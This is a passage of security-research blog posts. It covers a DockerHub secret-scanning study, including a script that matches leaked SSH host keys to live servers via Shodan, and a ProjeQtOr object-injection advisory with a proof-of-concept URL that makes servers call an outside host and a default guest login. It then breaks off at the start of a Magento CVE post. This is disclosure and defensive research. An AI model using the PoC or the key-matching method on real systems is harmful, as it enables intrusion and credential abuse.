We've gone into detail on the topic of system design, outlined major pitfalls, and presented our workarounds. I hope this is useful for anyone wishing to replicate and/or extend our research! We'd love to hear about any projects you undertake inspired by (or related to) our research here.

Our system design allows us to ingest and examine files at a blazingly fast speed, scaling reasonably given multiple worker nodes. Now that we can do this, only the final peice of the puzzle remains - how to identify and extract secrets, such as passwords and keys, from the dataset. We'll talk about this in our post next week, and also also go into detail into some of our findings, such as where exactly we found credentials (sometimes in unexpected places, sometimes not) and dig deeper into the types of credentials we found, which were wide-ranging (and mildly terrifying - spoiler, yes we did search for wallet.dat, and yes we did find results). See you then!

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Continuous Automated Red Teaming and Attack Surface Management solution, please get in touch.

What Does This Key Open? - Docker Container Images (4/4)

23 February 2023 at 02:22
What Does This Key Open? - Docker Container Images (4/4)

This post is the fourth part of a series on our recent adventures into DockerHub. Before you read it, you may be interested in the previous instalments, which are:

-

If you recall our previous posts, so far we've achieved quite a lot - we've found a way to fetch a large amount of data from DockerHub efficiently, worked out how to store it in a proper relational database, and ended up with over 30 million files which we now need to scan for sensitive information.

This is no easy task at this scale. In this post, we'll talk about how we went about this task, mutating open-source software to build our own secret discovery engine. We'll then talk about the thousands of secrets that we found, and share some insights into exactly where the secrets were exposed - because well, it seems everyone does this.

As you will likely gather throughout this exercise, we began to conclude that our findings were limited only by our imagination.

For anyone wondering - no, we won't be sharing actual secrets in this blogpost.

Leveraging Gitleaks

Our secret discovery engine is based on the open-source tool Gitleaks. This provides a great basis for our work - it's designed to run on developer workstations, and integrate with Git to scan source code for secret tokens a developer may otherwise inadvertently commit to a shared source control system. It can also operate on flat files, without Git integration.

It has some neat features - for example, it is able to recognise the structure of many access tokens (such as AWS access keys, which always begin with four characters specifying their type). It also measures the entropy of potential secrets, which is useful to find secure secrets that have been generated randomly while ignoring false positives such as '1111111'.

However, it is clear that the software was not designed with our specific scenario (batch scanning of millions of files) in mind.

We ran into some trivial problems when first exploring - for example, invoking Gitleaks with a commandline similar to the following:

$ gitleaks detect --no-git --source /files/file1 --source /files/file2

While I expected this command to scan both files specified, the actual behaviour was to scan only the final file specified, ignoring the first! Fortunately, Gitleaks is open source, and so modifying it within our architecture handle collections of files, archives and more wasn't a problem.

A second problem, this time impacting performance, rears its head when Gitleaks detects with a large amount of secrets. Gitleaks will keep a slice and append detected secrets to it, but for very large amounts of secrets, this approach causes high CPU load and memory fragmentation, so it is best to preallocate this array.

With these tweaks, we're ready to use our mutated Gitleaks-based engine to find secrets. We created a table in the database for holding results for our analysis, and used a number of ec2 nodes to fill it.

What Does This Key Open? - Docker Container Images (4/4)
Properly-configured artifact scanning is very CPU intensive

Falsely Positive

Of course, when dealing with a fileset of this size, false positives are an inevitability. These fall into two main categories.

Firstly, tokens which are clearly not intended for production use. For example, the python crypto package ships with tests which use static keys. These keys are, for our purposes, 'well known', and should not be included in our output. While it is tempting to ignore these completely, we store them in the database, but mark them as 'well known'. This allows us to build a dictionary of 'well known' secrets for future projects.

Secondly, various items of text will be detected by Gitleaks despite being clearly not access keys. For example, consider the following C code:

unsigned char* key = "ASCENDING";

Gitleaks ships with a module that would classify this as a secret token, since it is assigned to a value named key.

We decided to mitigate both of these categories using filters on the name of the file in question. While Gitleaks includes functionality to do this, our use of a database and the one-to-many relationship between files and filenames complicates things, and so we use Python to match filenames after scanning.

Filename Ignore-Listing

Since a large amount of files are being ignored, and because we wanted fine-grained control over them, we were careful when designing the system that assesses if a given filename was 'well known' or not.

We decided on a file format for holding regular expressions with entries similar to the following:

  -
   pattern: .*/vendor/lcobucci/jwt/test/unit/Signer/RsaTest\.php
   mustmatch:
     - /var/www/html/vendor/lcobucci/jwt/test/unit/Signer/RsaTest.php

Here, we can see a pattern which is matched, and we can also see a test string, in the 'mustmatch' array. Before analysis is started, the regular expression is tested against this test string, and if no match is found, an error is found. While not helpful for simple expressions like the one shown, this is invaluable when attempting more complex patterns:

 -
   pattern: .*?/(lib(64)?/python[0-9\.]*/(site|dist)-packages/|.*\.egg/)Cryptodome/SelfTest/(Cipher|PublicKey|Signature)(/__pycache__)?/(test_pkcs1_15|test_import_RSA|test_import_ECC|test_pss)(\.cpython-[0-9]*)?\.(pyc|py)
   mustmatch:
     - /usr/local/lib/python2.7/site-packages/Cryptodome/SelfTest/Cipher/test_pkcs1_15.pyc
     - /usr/local/lib/python2.7/site-packages/Cryptodome/SelfTest/PublicKey/test_import_RSA.pyc
     - /galaxy_venv/lib/python2.7/site-packages/Cryptodome/SelfTest/PublicKey/test_import_ECC.pyc
     - /usr/local/lib/python2.7/site-packages/Cryptodome/SelfTest/Signature/test_pkcs1_15.pyc
     - /usr/local/lib/python2.7/site-packages/Cryptodome/SelfTest/Signature/test_pss.py
     - /usr/local/lib/python3.7/site-packages/Cryptodome/SelfTest/Cipher/__pycache__/test_pkcs1_15.cpython-37.pyc
     - /usr/local/lib/python3.6/dist-packages/pycryptodomex-3.9.8-py3.6-linux-x86_64.egg/Cryptodome/SelfTest/Signature/test_pss.py

In addition, separate tests ensure 'true positive' detections occur, by scanning known-interesting files and ensuring that a detection is raised appropriately.

Context-Aware Ignore-Listing

While filename-based ignoring is a great help, there are a few specific instances where it falls short. For example, text similar to the following appears often in dmesg output:

[    0.630554] Loaded X.509 cert 'Magrathea: Glacier signing key: 00a5a65759de474bc5c43120880c1b94a539f431'

Gitleaks will helpfully alert us of this, believing the key to be sensitive information. In reality, it is simply a fingerprint, and useless to an attacker. Since there are a lot of keys in use, it is impractical to list all that we are not interested in, and so we use a regex to isolate the secret and ensure it does not occur in these strings:

regex:
  -
    pattern: ".*Loaded( X\\.509)? cert '.*: (?P<secret>.*)'"
    mustmatch:
     - "Mar 08 12:58:16 localhost kernel: Loaded X.509 cert 'Red Hat Enterprise Linux kpatch signing key: 4d38fd864ebe18c5f0b72e3852e2014c3a676fc8'"
     - "MODSIGN: Loaded cert 'Oracle America, Inc.: Ksplice Kernel Module Signing Key: 09010ebef5545fa7c54b626ef518e077b5b1ee4c'"

Note the use of a named capture group - named 'secret' - which is compared to the secret that Gitleaks detects. If this expression matches, the detection is considered 'well known'.

SSH Keypairs

One datapoint with a low false-positive rate and high impact is the number of SSH private keys found in publically accessible DockerHub repositories. Since our mutated engine is able to recognise these, it is easy to identify them (although some work must be done to remove example keys).

We locate a very large number of these files - 54169, to be exact:

+-----------------------------------+----------+-------------------------+
| description                       | count(*) | count(distinct(secret)) |
+-----------------------------------+----------+-------------------------+
| Private Key                       |    54169 |                    9693 |
+-----------------------------------+----------+-------------------------+

But many of them are of no consequence. Taking a look at the filenames, for example, we can immediately discard 2329 self-signed CA files:

mysql> select filename, count(*) from gitleaksArtifacts 	\
	where Description = "Private Key"						\
    group by filename 										\
    order by count(*) desc 									\
    limit 10;
+-----------------------+----------+
| filename              | count(*) |
+-----------------------+----------+
| rsa.2028.priv         |     2745 |
| ssl-cert-snakeoil.key |     2329 |
| server.key            |     1972 |
| http_signing.md       |     1488 |
| pass2.dsa.1024.priv   |     1350 |
| ssh_host_rsa_key      |     1219 |
| ssh_host_dsa_key      |     1063 |
| ssh_host_ecdsa_key    |     1016 |
| ssh_host_ed25519_key  |      897 |
| server1.key           |      805 |
+-----------------------+----------+

The presence of files prefixed with ssh_host, however, is interesting, as such host keys are considered sensitive. Let's look at them more closely:

mysql> select filename, count(*) from gitleaksArtifacts \
	where Description = "Private Key"  					\
    and filename like 'ssh_host_%_key' 					\
    group by filename 									\
    order by count(*);
+-----------------------+----------+
| filename              | count(*) |
+-----------------------+----------+
| ssh_host_ecdsa521_key |        1 |
| ssh_host_ecdsa256_key |        1 |
| ssh_host_ecdsa384_key |        1 |
| ssh_host_ed25519_key  |      897 |
| ssh_host_ecdsa_key    |     1016 |
| ssh_host_dsa_key      |     1063 |
| ssh_host_rsa_key      |     1219 |
+-----------------------+----------+

These 4198 files, spanning 611 distinct images, should probably not be exposed to the public. However, we can actually take things one step further, and verify if any hosts on the public Internet are using these keys.

Enter: Shodan

You may be familiar with Shodan.io, which gathers a wealth of banner information from various services exposed to the public Internet. One feature is provides is the ability to search by fingerprint hash, which we can calculate easily from the private keys we fetched above.

Shodan provides a straightforward API, so our key-locating application is simple to write. Most of the code is in manipulating private keys to find the corresponding public key, and thus the hash.

shodanInst = shodan.Shodan('<your API key here')

for artifact in self.db.fetchGitleaksArtifacts():
	if artifact.description == 'Private Key':
		try:
			# Convert this into a public key and get the hash.
			keyAsc = artifact.secret
			keyAsc = re.sub( re.compile("\s*?-*(BEGIN|END).*?PRIVATE KEY-*\s*?"), "", keyAsc)
			keyAsc = keyAsc.replace('"', "")
			keyBinary = base64.b64decode(keyAsc)
			keyPriv = RSA.importKey(keyBinary)
		except binascii.Error:
			continue
		except ValueError:
			continue
    	keyPublic = keyPriv.publickey()
        
		# Export to OpenSSH format, snip off the prefix, and b64-decode it
		pubKeyBytes = base64.b64decode( 		
        	keyPublic.publickey().exportKey('OpenSSH').split(b' ')[1]
        )
		# We can then hash this value to find the key hash.
		hasher = hashlib.md5()
		hasher.update(pubKeyBytes)
		pubHash = hasher.digest()
		pubHashStr = ":".join(map(lambda x: f"{x:02x}", pubHash))

		# Now we can do the actual search.
		shodanQuery = f'Fingerprint: {pubHashStr}'
		result = shodanInst.search(shodanQuery)
		for svc in result['matches']:
			db.insertArtifactSighting(
            	artifact.fileid, 
                str(ipaddress.ip_address(svc['ip']))
            )

This query yields very interesting results, although not what we expect. We see 742 matches, over 690 unique IP addresses, but what is most interesting is the specific keys they use:

mysql> select  concat(artifact_path.path,  '/', artifacts.filename), count(distinct(ipaddress)) from artifactsOnline join artifacts on artifacts.id = artifactsOnline.fileid join artifact_path on artifact_path.id = artifacts.pathid  join artifactHashes on artifactHashes.id = artifacts.hashID  where path not like '/pentest/exploitation%' group by concat(artifact_path.path,  '/', artifacts.filename)  order by count(distinct(ipaddress));
+-------------------------------------------------------------------------------------------+----------------------------+
| concat(artifact_path.path,  '/', artifacts.filename)                                      | count(distinct(ipaddress)) |
+-------------------------------------------------------------------------------------------+----------------------------+
| /etc/ssh/ssh_host_rsa_key                                                                 |                         27 |
| /usr/local/lib/python2.6/dist-packages/bzrlib/tests/stub_sftp.pyc                         |                         23 |
| /usr/lib64/python2.7/site-packages/bzrlib/tests/stub_sftp.pyo                             |                         23 |
| /usr/lib/python2.7/site-packages/bzrlib/tests/stub_sftp.py                                |                         23 |
| /usr/lib/python2.7/site-packages/bzrlib/tests/stub_sftp.pyc                               |                         23 |
| /usr/lib64/python2.7/site-packages/bzrlib/tests/stub_sftp.pyc                             |                         23 |
| /usr/lib/python2.7/site-packages/twisted/conch/manhole_ssh.pyc                            |                          6 |
| /usr/share/doc/python-twisted-conch/howto/conch_client.html                               |                          6 |
| /usr/local/lib/python2.7/site-packages/twisted/conch/manhole_ssh.pyc                      |                          6 |
| /usr/local/lib/python2.7/dist-packages/twisted/conch/test/keydata.py                      |                          6 |
| /usr/local/lib/python2.7/dist-packages/twisted/conch/manhole_ssh.pyc                      |                          6 |
| /usr/lib/python2.7/dist-packages/twisted/conch/test/keydata.py                            |                          6 |
| /usr/lib/python2.7/dist-packages/twisted/conch/manhole_ssh.pyc                            |                          6 |
| /usr/lib/python2.7/dist-packages/twisted/conch/manhole_ssh.py                             |                          6 |
| /root/.local/lib/python2.7/site-packages/twisted/conch/manhole_ssh.pyc                    |                          6 |
| /usr/local/lib/node_modules/piriku/node_modules/ssh2/test/fixtures/ssh_host_rsa_key       |                          4 |
| /usr/local/lib/node_modules/strongloop/node_modules/ssh2/test/fixtures/ssh_host_rsa_key   |                          4 |
| /app/code/env/lib/python3.8/site-packages/synapse/util/__pycache__/manhole.cpython-38.pyc |                          2 |
| /app/code/env/lib/python3.8/site-packages/synapse/util/manhole.py                         |                          2 |
| /tmp/mtgolang/src/github.com/mtgolang/ssh2docker/cmd/ssh2docker/main.go                   |                          1 |
+-------------------------------------------------------------------------------------------+----------------------------+

It seems that a large amount of hosts are using example keys as shipped with various Python packages. This is an interesting finding in itself, and something we may examine in a later blog post.

We can also see the host key for a tomcat installation being used on 82 individual docker images - that's more like what we expected to see. This verifies that these keys are sensitive, and "double-confirms", as we say here in Singapore, that they should not be disclosed.

Social Media

Social media keys were also present in the dump. Let's take a look:

+----------------------------------+----------+-------------------------+
| description                      | count(*) | count(distinct(secret)) |
+----------------------------------+----------+-------------------------+
| Twilio API Key                   |      220 |                       3 |
| Facebook                         |       27 |                      12 |
| LinkedIn Client ID               |       18 |                       6 |
| LinkedIn Client secret           |       16 |                       6 |
| Twitter API Key                  |        9 |                       6 |
| Twitter API Secret               |        7 |                       5 |
| Flickr Access Token              |        3 |                       2 |
| Twitter Access Secret            |        1 |                       1 |
+----------------------------------+----------+-------------------------+

Of the 27 Facebook keys, one appears to be invalid, consisting of all zeros. There are 11 unique keys which appear valid.

One of the Flickr access tokens is located in a file named /workspace/config.yml. This file contains (in addition to the detected Flickr token) what appear to be valid credentials to Amazon AWS, Instagram, Google Cloud Vision, and others.

Likewise, while examining the detections for Twitter secrets, we find only a few keys, but the files containing these keys also include AWS tokens, a SendGrid API keys, slack tokens, SalesForce tokens, and others.

mysql> select distinct(filename), count(*) from gitleaksArtifacts \
	where description like 'Twitter%' \
    group by filename \
    order by count(*) desc;
+---------------------+----------+
| filename            | count(*) |
+---------------------+----------+
| .env.example        |        6 |
| settings.py         |        3 |
| GenericFunctions.js |        2 |
| DVSA-template.yaml  |        2 |
| development.env     |        2 |
| twitter.md          |        2 |
+---------------------+----------+

It is very clear that keys and tokens often 'cluster' together in the same file.

Stripe Payment Processor Keys

The payment processor 'Stripe' has a lot of structure in its tokens, and so finding them is particularly easy. Our mutated engine  located 88 unique secrets:

+----------------------------------+----------+-------------------------+
| description                      | count(*) | count(distinct(secret)) |
+----------------------------------+----------+-------------------------+
| Stripe                           |     1563 |                      88 |
+----------------------------------+----------+-------------------------+

Here's the first three of them, to show just how much structure is present.

mysql> select concat(path, '/', filename), 				\
	gitleaksArtifacts.secret from gitleaks_result 		\
    join gitleaksArtifacts on 							\
    gitleaksArtifacts.fileid = gitleaks_result.fileid 	\
    where 												\
    gitleaks_result.description = 'Stripe' 				\
    and isWellKnown = 0									\
    order by gitleaksArtifacts.hash						\
    limit 3;
+---------------------------------------------+-------------------------------------------------------------------------------------------------------------+
| concat(path, '/', filename)                 | secret                                                                                                      |
+---------------------------------------------+-------------------------------------------------------------------------------------------------------------+
| /app/code/packages/server/stripeConfig.json | pk_live_51IvkOPLx4fyREDACTEDREDACTED                                                                    |
| /app/code/packages/server/stripeConfig.json | pk_test_51IvkOPLx4fybOTqJetV23Y5S9REDACTEDREDACTED |
| /app/code/packages/server/stripeConfig.json | pk_test_51IvkOPLx4fybOTqJetV2REDACTEDREDACTED                                                                    |
+---------------------------------------------+-------------------------------------------------------------------------------------------------------------+
3 rows in set (0.56 sec)

Note the leading pk_ or sk_, identifying a 'public key' (which is not sensitive) or a 'secret key', which is sensitive. Our dataset contains 47 unique private pk_ keys and 41 unique sk_ keys.

Of the 88 unique credentials we see, 35 appeared to be the secret key corresponding to test credentials (starting with the string sk_test), and six appeared to be 'live', starting with the string sk_live. Ouch!

Google Compute Platform (GCP) Keys

+----------------------------------+----------+-------------------------+
| description                      | count(*) | count(distinct(secret)) |
+----------------------------------+----------+-------------------------+
| GCP API key                      |      411 |                      89 |
+----------------------------------+----------+-------------------------+

While we found a large amount of keys for the Google Compute Platform, it should be noted that it is difficult to ascertain the level of permission available to the keys. We estimate that a portion of these keys are intended for wide-scale public deployment; for example, those for crash-reporting, which are configured to allow anonymous uploads but little else.

Amazon Web Services (AWS) Keys

+----------------------------------+----------+-------------------------+
| description                      | count(*) | count(distinct(secret)) |
+----------------------------------+----------+-------------------------+
| AWS                              |   139362 |                   42095 |
+----------------------------------+----------+-------------------------+

Again, it is difficult to ascertain the privileges associated with these forty-two thousand unique keys, and thus if they are truly sensitive or not.

Examining them individually does yield some context that helps, although it is not practical to do this at scale.

One thing that may interest readers is the location in which these keys were found. Three were located in the .bash_history file belonging to the superuser, indicating that these files had been improperly cleaned. Eleven other keys were found in improperly sanitized log files, and two in backups of MySQL database content.

Database Dumps

One of the custom detections we added to our mutated engine was to detect dumps of database information produced by the mysqldump tool. We applied this filter only to a quarter of the dataset, and found a large amount of these files -  almost 400.

While some of them were installation templates, there were also some which contained live data:

mysql> select \
	distinct(concat(artifact_path.path, '/', artifacts.filename)), 	\
    artifacts.filesize \
    from gitleaksArtifacts 
    join artifacts on artifacts.id = gitleaksArtifacts.fileid \
    join artifact_path on artifact_path.id = artifacts.pathid \
    where description = 'Possible database dump' \
    order by filesize desc \
    limit 25;
+---------------------------------------------------------------------------------+----------+
| (concat(artifact_path.path, '/', artifacts.filename))                           | filesize |
+---------------------------------------------------------------------------------+----------+
| /docker-entrypoint-initdb.d/zmagento.sql                                        | 72135471 |
| /docker-entrypoint-initdb.d/bitnami_mediawiki.sql                               | 10913302 |
| /app/wordpess.sql.bk                                                            |  5321931 |
| /var/www/html/sql/stackmagento.sql                                              |  5224835 |
| /var/www/html/sql/stackmagento.sql                                              |  4379391 |
| //ogAdmBd.sql                                                                   |  1046438 |
| //all-db.ql                                                                     |   918670 |
| /var/www/html/backup.sql                                                        |   703961 |
| /tmp/db.sql                                                                     |   683875 |
| /var/www/html/cphalcon/tests/_data/schemas/mysql/mysql.dump.sql                 |   603179 |
| /opt/cphalcon-3.1.x/tests/_data/schemas/mysql/mysql.dump.sql                    |   603179 |
| /cphalcon/unit-tests/schemas/mysql/phalcon_test.sql                             |   597577 |
| /usr/local/src/cphalcon/unit-tests/schemas/mysql/phalcon_test.sql               |   597577 |
| /usr/local/src/cphalcon/unit-tests/schemas/mysql/phalcon_test.sql               |   596903 |
| //allykeys.sql                                                                  |   423963 |
| /ECommerce-Java/zips.sql                                                        |   399288 |
| /app/code/database/setup.sql                                                    |   379063 |
| //dump.sql                                                                      |   366901 |
| /tmp/hhvm/third-party/webscalesqlclient/mysql-5.6/mysql-test/r/mysqldump.result |   285948 |
| /home/pubsrv/mysql/mysql-test/r/mysqldump.result                                |   229737 |
| /usr/share/mysql-test/r/mysqldump.result                                        |   223161 |
| /usr/share/zoneminder/db/zm_create.sql                                          |   218651 |
| /home/SOC-Fall-2015/ApacheCMDA-Backend/DBDump/Dump20150414.sql                  |   191648 |
| /home/apache/ApacheCMDA/ApacheCMDA-Backend/DBDump/Dump20150414.sql              |   191648 |
| /opt/mysql-backup/tmp/ubuntu-backup-2016-09-30-08-13-34.sql                     |   106985 |
+---------------------------------------------------------------------------------+----------+
25 rows in set (2.29 sec)

Browsing some of these files, we spotted credentials for a variety of CMSs, and more.

And then just.. others..

Our mutated engine matched a large amount of other keys, and just in general - bad things(tm).

+----------------------------------+----------+-------------------------+
| description                      | count(*) | count(distinct(secret)) |
+----------------------------------+----------+-------------------------+
| Generic API Key                  |   941621 |                   94533 |
| Database connection string       |    32257 |                    3797 |
| JSON Web Token                   |     1817 |                     154 |
| Etsy Access Token                |      506 |                      12 |
| Linear Client Secret             |      386 |                      12 |
| Slack Webhook                    |      231 |                      32 |
| Slack token                      |      120 |                      22 |
| EasyPost test API token          |       95 |                      28 |
| EasyPost API token               |       83 |                      28 |
| Bitbucket Client ID              |       27 |                       3 |
| GitHub Personal Access Token     |       16 |                       2 |
| Airtable API Key                 |       16 |                       5 |
| Dropbox API secret               |       13 |                       7 |
| Plaid Secret key                 |       12 |                       2 |
| SendGrid API token               |       12 |                       7 |
| Sentry Access Token              |       12 |                       6 |
| GitHub App Token                 |       12 |                       1 |
| Algolia API Key                  |       11 |                       4 |
| Alibaba AccessKey ID             |        7 |                       3 |
| Plaid Client ID                  |        6 |                       1 |
| HubSpot API Token                |        6 |                       4 |
| Heroku API Key                   |        6 |                       1 |
| GitLab Personal Access Token     |        6 |                       3 |
| Mailgun private API token        |        4 |                       4 |
| SumoLogic Access ID              |        4 |                       2 |
| Lob API Key                      |        3 |                       1 |
| Atlassian API token              |        3 |                       1 |
| Mailgun webhook signing key      |        2 |                       1 |
| Grafana service account token    |        2 |                       1 |
| Asana Client Secret              |        2 |                       2 |
| Grafana api key                  |        1 |                       1 |
| Dynatrace API token              |        1 |                       1 |
+----------------------------------+----------+-------------------------+

Of most interest is the 'Generic API Key' rule. Unfortunately it is especially prone to false-positives, but due to its wide scope, it is able to detect secrets that other detection rules miss. For example, we found it located secrets in .bash_history files, and web access logs, to name a couple. For example, it found the following credit card information, which was thankfully non-sensitive since it had been sanitised:

[2016-05-02 18:43:07] main.DEBUG: TODOPAGO - MODEL PAYMENT - Response: {"StatusCode":-1,"StatusMessage":"APROBADA","AuthorizationKey":"<watchtowr redacted>","EncodingMethod":"XML","Payload":{"Answer":{"DATETIME":"2016-05-02T15:43:01Z","CURRENCYNAME":"Peso Argentino","PAYMENTMETHODNAME":"VISA","TICKETNUMBER":"12","AUTHORIZATIONCODE":"REDACTED","CARDNUMBERVISIBLE":"45079900XXREDACTED","BARCODE":"","OPERATIONID":"000000001","COUPONEXPDATE":"","COUPONSECEXPDATE":"","COUPONSUBSCRIBER":"","BARCODETYPE":"","ASSOCIATEDDOCUMENTATION":""},"Request":{"MERCHANT":"2658","OPERATIONID":"000000001","AMOUNT":"50.00","CURRENCYCODE":"32","AMOUNTBUYER":"50.00","BANKID":"11","PROMOTIONID":"2706"}}} {"is_exception":false} []

Other files were found via inventive filename searches; a search for wallet.dat yields six files, for example.

At this point, it seems our discoveries are limited only by our imagination.

File Metadata

In addition to logging the contents and name of files, we also log the UNIX permission bits. This allows us to query for unusual or (deliberately?)-weak configurations. The following query will list all SUID files found on all systems, and all their paths, yielding 325 results:

mysql> select distinct(filename) 	\
	from artifacts 					\
    where ownerUID = 0 				\
    and perm_suid = '1' 			\
    order by filename;

The results are interesting, including a number of classic 90's-era security blunders. For example, some containers ship with world-writable SUID-root files (426 files in total):

mysql> select concat(path, '/', filename), hash 					\
		from artifacts												\
		join artifact_path on artifact_path.id = artifacts.pathid	\
		join artifactHashes on artifactHashes.id = artifacts.hashid	\
		where perm_suid = '1'										\
		and perm_world_w = '1'										\
		order by filename

Also present are various SUID-root shell scripts, which are notoriously difficult to secure:

mysql> select path,filename,hash 									\
	from artifacts 													\
    join artifact_path on artifact_path.id = artifacts.pathid 		\
    join artifactHashes on artifactHashes.id = artifacts.hashID		\
    where perm_suid = '1' 											\
    and perm_world_w = 1  											\
    and filename like '%.sh'										\
    limit 10;
+-----------------------------+----------------+------------------------------------------+
| path                        | filename       | hash                                     |
+-----------------------------+----------------+------------------------------------------+
| /opt/appdynamics-sdk-native | env.sh         | fcd22cc86a46406ead333b1e92937f02c262406a |
| /opt/appdynamics-sdk-native | install.sh     | 03f39f84664a22413b1a95cb1752e184539187cb |
| /opt/appdynamics-sdk-native | runSDKProxy.sh | fb37a2ef8b28dbb20b9265fe503c5e966e2c5544 |
| /opt/appdynamics-sdk-native | startup.sh     | 90db0cac34b1a9c74cf7e402ae3da1d69975f87d |
+-----------------------------+----------------+------------------------------------------+

Conclusions

I hope you've enjoyed this blog series! We had a lot of fun building the infrastructure, finding credentials to some incredibly scary things (scary), and ofcourse documenting our journey.

The main point we intend to illustrate is that it is very easy for an otherwise well-funded, careful organisation to leak secrets via DockerHub. These are not personal containers with little value, but those operated by large organisations who are for the most part, proactive in securing their information.

But in today's reality - this is a great example of today's shifting attack surface. Securing a modern organisation requires examination of a wide and varied attack surface, showing the need for organisations to proactively consider what their attack surface may have truly evolved into.

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Continuous Automated Red Teaming and Attack Surface Management solution, please get in touch.

ProjeQtOr - <10.2.2 Direct Object Injection Vulnerability

19 March 2023 at 12:55
ProjeQtOr - <10.2.2 Direct Object Injection Vulnerability

As part of our Continuous Automated Red Teaming and Attack Surface Management technology within the watchTowr Platform, we perform zero-day vulnerability research in technology that we see across the attack surfaces of organisations leveraging the watchTowr Platform. This enables proactive defence for our clients and provides forward visibility of vulnerabilities while we liaise with vendors and projects for suitable fixes.

I would like to take a moment today to discuss a vulnerability that was discovered in ProjeQtOr.

"ProjeQtOr is an open-source project management software grouping in a single tool all the features needed to organize your projects. It is simple, easy to use while covering a maximum of project management features."

The watchTowr team identified an authenticated Direct Object Injection during an audit of anomalous technology across our client base, affecting versions 10.2.2 and earlier.

As a quick refresher, a Direct Object Injection vulnerability occurs when unvalidated user input is used to construct objects directly within application code.

Within PHP, the impact of such a vulnerability can be quite severe, allowing an attacker to execute arbitrary PHP code within the context of the affected application, or put simply - allow an attacker to gain control of the affected host and the data held within.

The good news is that the ProjeQtOr team has already resolved the identified vulnerability. The ProjeQtOr team released a patch on March 9th 2023, and CVE assignment is pending. It's important to note that while this patch addresses a security concern, the vendor has not labelled it as a security update.

The Bug

Despite this vulnerability class (Direct Object Injection) being somewhat uncommon, it's actually quite straightforward to understand. Better yet, these vulnerabilities are typically trivial to remediate.

The vulnerable code can be found in tool/getExtraRequiredFields.php and allows a malicious user to execute arbitrary PHP code via an identified Direct Object Injection vulnerability based on input provided within HTTP parameters.

Below is the vulnerable code that can be accessed - pasted here verbatim:

require_once "../tool/projeqtor.php";
 
$objectClass=null;
if (isset($_REQUEST['objectClassName'])) {
  $objectClass=$_REQUEST['objectClassName'];
}
$objectId=null;
if (isset($_REQUEST['id'])) {
  $objectId=$_REQUEST['id'];
} else if (isset($_REQUEST['id_detail'])) {
  $objectId=$_REQUEST['id_detail'];
}
if ($objectClass===null or $objectId===null) {
  throwError('className and/or id not found in REQUEST ('.$objectClass.'/'.$objectId.')');
}
 
$obj=new $objectClass($objectId);
tool/getExtraRequiredFields.php

Let's walk through this...

$objectClass=null;
if (isset($_REQUEST['objectClassName'])) {
  $objectClass=$_REQUEST['objectClassName'];
}

Here, the code checks if the objectClassName parameter is set in the HTTP request. If it is, the value of the parameter is assigned to the $objectClass variable.

$objectId=null;
if (isset($_REQUEST['id'])) {
  $objectId=$_REQUEST['id'];
} else if (isset($_REQUEST['id_detail'])) {
  $objectId=$_REQUEST['id_detail'];
}

This section of the code checks for two different parameters ("id" and "id_detail") in the HTTP request. If either parameter is set, the value of the parameter is assigned to the $objectId variable. If neither parameter is set, $objectId remains null.

if ($objectClass===null or $objectId===null) {
  throwError('className and/or id not found in REQUEST ('.$objectClass.'/'.$objectId.')');
}

This if statement checks if either $objectClass or $objectId is null. If either variable is null, the code calls a function named "throwError" and passes a string message as an argument. The message contains the values of $objectClass and $objectId.

$obj=new $objectClass($objectId);

Finally, the code creates a new object of the class specified by $objectClass, passing $objectId as a parameter.

As both $objectClass and $objectId are set based on user input from the HTTP request, without any validation or sanitization, an attacker could craft a malicious HTTP request that sets $objectClass and/or $objectIdto arbitrary values.

Effectively, an attacker can instantiate an arbitrary class and pass controlled arguments to this new object.

A simple Proof of Concept to demonstrate that this vulnerability is exploitable would look like the below:

https://hostname/tool/getExtraRequiredFields.php?objectClassName=SplFileObject&id_detail=http://SplFileObject.watchtowr.com

In the above PoC, to demonstrate the vulnerability, we call the PHP built-in  SplFileObject class as this class implements a constructor that allows connection to any local or remote URL - allowing us to easily confirm the vulnerability and demonstrate exploitability based on interaction with a host we control.

While this vulnerability is not exploitable by an unauthenticated user, ProjeQtOr ships with a "guest" account by default (with credentials of guest/guest) and enables exploitation of this vulnerability.

Conclusion

I hope you enjoyed this look behind the curtain of a typical codebase we see across our client base! The audit resulted in one vulnerability being reported to the vendor, with a CVE to-be-assigned.

While this is a relatively trivial bug to pull out of a code base, it is a highly-impactful vulnerability in the context of the data that ProjeQtOr is designed to hold - and of course, trivial code execution on an externally facing system is never ideal.

However, the ProjeQtOr team rapidly remediated the vulnerability, which should be commended.

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Continuous Automated Red Teaming and Attack Surface Management solution, please get in touch.

Timeline

Date Detail
7th March 2023 Vulnerability discovered
7th March 2023 Requested security contact for the ProjeQtOr project
7th March 2023 Received security contact, disclosed to the ProjeQtOr project
7th March 2023 watchTowr hunts through client's attack surfaces for impacted systems, communicates with those affected.
9th March 2023 The ProjeQtOr project acknowledges validity of report, and releases fix in version 10.2.3
16th March 2023 Blogpost and PoC released to public


Adobe Commerce (Magento) CVE-2022-24086 : Return Of The Text Interpolation

10 April 2023 at 14:35
Adobe Commerce (Magento) CVE-2022-24086 : Return Of The Text Interpolation

In our latest blog post, we'll be discussing a vulnerability that - while not new - is shrouded in mystery. Ranging from bizarre and false PoCs circulating on Twitter, to incomplete analysis on dark corners of the web.

As part of our Attack Surface Management capabilities delivered through the watchTowr Platform, we conduct a thorough analysis of vulnerabilities in technology that are likely to be prevalent across our clients' attack surfaces. This allows us to quickly identify and validate vulnerable systems across large attack surfaces, enabling us to respond rapidly to potential threats.

The vulnerability we'll be discussing today has been formally identified as 'CVE-2022-24086', a vulnerability in Adobe Commerce (or as it is also known, Magento).

Regular readers might remember a previous post on the topic of the Text4Shell bug (and subsequent follow-up), where we talked about string interpolation and how it can be leveraged to achieve code execution. Today's post speaks of another problem caused, at the root, by the same thing - unsafe string interpolation.

CVE-2022-24086, is an "Improper Input Validation Vulnerability" in Adobe Commerce 2.4.3-p1, as advised by MITRE. If abused and exploited correctly, it allows remote code execution without any user interaction, and worse, Adobe advise that they are aware of in-the-wild exploitation. Clearly a pretty serious bug.

